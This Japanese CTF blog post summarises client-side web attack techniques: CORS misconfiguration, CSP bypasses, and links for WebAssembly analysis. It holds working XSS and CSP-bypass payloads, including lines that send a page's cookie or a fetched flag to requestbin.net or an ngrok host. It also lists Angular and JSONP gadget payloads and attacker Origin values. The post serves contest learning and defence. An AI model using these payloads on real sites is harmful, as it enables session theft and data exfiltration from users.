はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるクライアント側まとめ(CSP, CORS, Web Assembly, PostMessage)

この記事はCTFのWebセキュリティ Advent Calendar 2021の21日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

CORS

CORS Misconfiguration

攻撃サンプル

  • origin攻撃
    • *
    • *.target.com
    • target.com.evil.com
    • eviltarget.com
    • null
    • evil.com
  • Exploiting misconfigured wildcard (*) in CORS Headers
    • Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
    • どんなドメインでも受け入れてしまうので、XSSで読み込んむと内容が得られるので、この設定がなされていて応答に機微な情報が含まれていれば危険
  • Using XSS to make requests to cross-origin sites
    • XSSがあると情報が抜ける
    • <script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>こんな感じに抜いてくればいい
  • 攻撃
    • OriginがそのままACAOに反映される Origin: attacker.comでリクエストするとAccess-Control-Allow-Origin: attacker.comとなる
    • サブドメインでもOK Origin: attacker.com.evil.comAccess-Control-Allow-Origin: attacker.com.evil.comとか
    • wildcardになってる
    • null Origin: null
    • Verb変えてみる
  • Advanced CORS Technique
  • mitigation

CSP

  • CSPの種類について
    • script-src-elem <script>alert(1)</script><script src="/jquery.js">
    • script-src-attr <svg onload="alert(1)">
    • base-uri <base href="https://example.com/">
      • 'none''self'にしておけばbaseがインジェクションされてもとりあえず大丈夫。追加理由ほとんどないんだしnoneでいいんじゃないかな?
      • none以外だったら、base tag injectionを疑うこと
    • connect-src
    • img-src
  • 推奨設定?
    • script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
    • object-src 'none';
    • base-uri 'none';
  • 回避テク一覧
  • CSPが複数あれば、最も制約の厳しいものが採用される
  • CSP Evaluator
    • このサイトに通して弱点を探るのもいい
  • CSP: Content Security Policy
    • 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
    • サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
    • content-security-policy:を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
  • script-src
    • script-src 'self' data:;
      • script-srcのdataスキームが許可されている
      • <script src="data:text/javascript,ここに任意コード">
      • <script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
    • script-src 'self' ajax.googleapis.com 'unsafe-eval';
      • ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
      • Angular.js
        • 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
        • XSS in the AWS Console
          • <input ng-focus=$event.view.alert('XSS')>
    • script-src 'self' *.google.com *.gstatic.com;
      • <script src="https://accounts.google.com/o/oauth2/revoke?callback=[jscode]
      • payload: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></script>
    • script-src: strict-dynamic
    • "script-src":"'self' 'unsafe-inline'"
      • インライン JavaScript および CSS を許可します
      • 普通に<script>sendMyDataToEvilDotCom();</script>が許可される
    • script-src 'none'
      • scriptタグは全く使えない
    • style-src 'self' http://cdn.embedly.com/;
    • script-src 'nonce-*'
      • CTFtime.org / ångstromCTF 2021 / nomnomnom html This score was set by ${name} <script nonce='${nonce}'>
        • firefoxに限り、上記の様にscriptタグの直前に入力値を入れられる場合にnonceを取り込んだscriptタグを生成できる
          • <script src="data:, location.replace('http://[redacted: 12 chars].ngrok.io/?d=' + document.cookie);"
          • <script src="https://textbin.net/raw/o4tst0cpr6" dummy=\
          • 上記のような不完全なscriptタグを用意することでnonceを取り込める
    • script-src 'self'
  • default-src 'self'
    • サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合に設定する。自分のドメインからのjsしか受け付けない。
    • こういう場合は、jsファイルとかsvgファイルとかをアップロードして、それを指定することで実行させる
    • 指定のないもののデフォルト値として動く。
  • Content Security Policy Level 3におけるXSS対策 - pixiv inside
  • 信頼されたほかのjsコードを経由することでバイパス実行する方法がある
  • 突破できなかったやつ
    • content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'
  • strict-dynamic
    • すでに実行を許可されたJavaScriptコードから読み込まれたJavaScriptコードを実行可能にする
    • JSONPを実行するために追加しているかもしれない
  • 回避例
  • CSP Policy Injection
    • 入力がCSPのポリシーに組み込まれる場合に、設定されていないCSP Policyを追加で設定できる
    • 同じポリシーを設定した場合は、Chromeであればエラーとなる
    • ; script-src-attr 'unsafe-inline'という感じにインジェクションする
  • CSP Embedded Enforcement
  • CSPの影響を受けないもの(ほんとか?)
    • <meta http-equiv="refresh" content="0; URL={{遷移先}}> metaタグによる遷移
    • <link rel="preload" href="https://webhook.site/…" as="fetch">による読み込み

WebAssembly

ブラウザからWebAssemblyをデバッグする方法

C言語に直すには

解析例

CTFtime.org / UIUCTF 2020 / nookstop 2.0 / Writeup CTFtime.org / UTCTF 2021 / It's wasm time - UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶい - Chrome Developer Toolで動的解析できるみたい - WebAssemblyちょっとやる - バランスを取りたい

PostMessage